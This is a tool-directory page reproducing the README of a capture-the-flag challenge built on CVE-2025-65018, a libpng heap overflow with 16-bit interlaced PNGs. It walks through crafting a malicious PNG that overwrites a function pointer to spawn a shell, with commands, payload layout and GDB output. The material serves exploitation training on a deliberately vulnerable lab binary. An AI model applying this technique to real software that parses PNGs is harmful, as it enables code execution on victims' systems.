Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-65018_Exploit_Challenge — CTF challenge exploiting a heap overflow in libpng's png_image_finish_read to overwrite a function pointer and spawn a shell, with build scripts and exploit generator. | Kitploit
Tools/GitHubGitHub/bohemian-miser/cve-2025-65018_exploit_challenge
Vulnerability AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubbohemian-miser/cve-2025-65018_exploit_challenge

CVE-2025-65018_Exploit_Challenge

CTF challenge exploiting a heap overflow in libpng's png_image_finish_read to overwrite a function pointer and spawn a shell, with build scripts and exploit generator.

View Repository
129 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-65018 CTF Challenge: "PNG Panic"

This challenge is based on a real-world buffer overflow vulnerability in libpng (specifically dealing with the simplified API png_image_finish_read when handling 16-bit interlaced images).

🚩 Challenge Goal

You are provided with a vulnerable binary victim that uses a statically linked, vulnerable version of libpng. The application reads a PNG file named exploit.png into a buffer.

Your objective is to craft a malicious PNG file that triggers a heap overflow to overwrite a function pointer in the Logger structure (located immediately after the image buffer), redirecting execution to the win() function to spawn a shell.


🛠️ Setup & Building

Prerequisites: gcc, make, python3, git, autoconf, automake, libtool.

  1. Clone the repository:

    root@kitploit:~
    git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
    cd CVE-2025-65018_Exploit_Challenge
    
  2. Build the challenge (including vulnerable libpng):

    root@kitploit:~
    ./build.sh
    

    This script will:

    • Configure and patch the included libpng source code to enable the vulnerability.
    • Build the static libpng library.
    • Compile the victim binary.

🔍 Vulnerability Details

The vulnerability exists in how libpng handles interlaced images when converting from 16-bit input to 8-bit output.

  1. The Mismatch: The application requests an 8-bit output format (PNG_FORMAT_RGBA). libpng allocates a buffer size sufficient for 8-bit data.
  2. The Flaw: During the processing of interlaced passes (Adam7), the internal function png_combine_row incorrectly writes data using the input's 16-bit bit depth into the output buffer.
  3. The Result: For every pixel, it writes 2 bytes per channel instead of 1, effectively writing double the expected amount of data for that row, overflowing the heap buffer.

💥 Exploitation Walkthrough

1. Find the Target Address

The binary contains a helper function win() that calls execl("/bin/sh", ...). We need its address. Since the binary is compiled with -no-pie, addresses are static.

root@kitploit:~
nm victim | grep win
# Output: 00000000004013e0 T win

Target Address: 0x4013e0

2. Crafting the Payload (solve.py)

We need to create a valid PNG that:

  1. Is Interlaced (Adam7) to trigger the vulnerable code path.
  2. Has a header (IHDR) specifying 16-bit depth.
  3. Has pixel data that, when written as 16-bit values, forms our desired payload (the address of win).

The solve.py script does this:

  • It constructs a 32x32 image.
  • It calculates the offset to the Logger struct (which is 4096 bytes after the start of the buffer).
  • It places the win address into the pixel data of the last row.
  • It compresses the data into an IDAT chunk.

Payload Layout: The win address 0x4013e0 (Little Endian: E0 13 40 00 ...) needs to be encoded into 16-bit RGB pixels.

  • Each 16-bit channel is 2 bytes.
  • We map the bytes of the address to the Red, Green, and Blue channels of specific pixels in the last row.

3. Running the Exploit

Generate the malicious PNG:

root@kitploit:~
python3 solve.py 4013e0

This creates exploit.png.

Run the victim:

root@kitploit:~
./victim

Expected Output:

root@kitploit:~
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$ 

🐛 GDB Analysis

To see the overflow in action, you can use GDB.

1. Break before the vulnerable call:

root@kitploit:~
break 62
run

2. Watch the overwrite: The Logger struct is at offset 4096. Let's watch the target function pointer.

root@kitploit:~
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue

3. Trigger: GDB will stop when png_combine_row writes to the function pointer.

root@kitploit:~
Hardware watchpoint 2: *0x7fffffffc8f0

Old value = 4199366  (0x4013c6 <normal_log>)
New value = 4199392  (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()

This confirms libpng overwrote our pointer with the address of win!


📁 Files

  • victim.c: Vulnerable source code.
  • solve.py: Exploit generator.
  • libpng-src/: Source code for libpng (v1.6.37).
  • build.sh: Script to compile everything.
  • Makefile: Build system for the victim binary.
Download Tool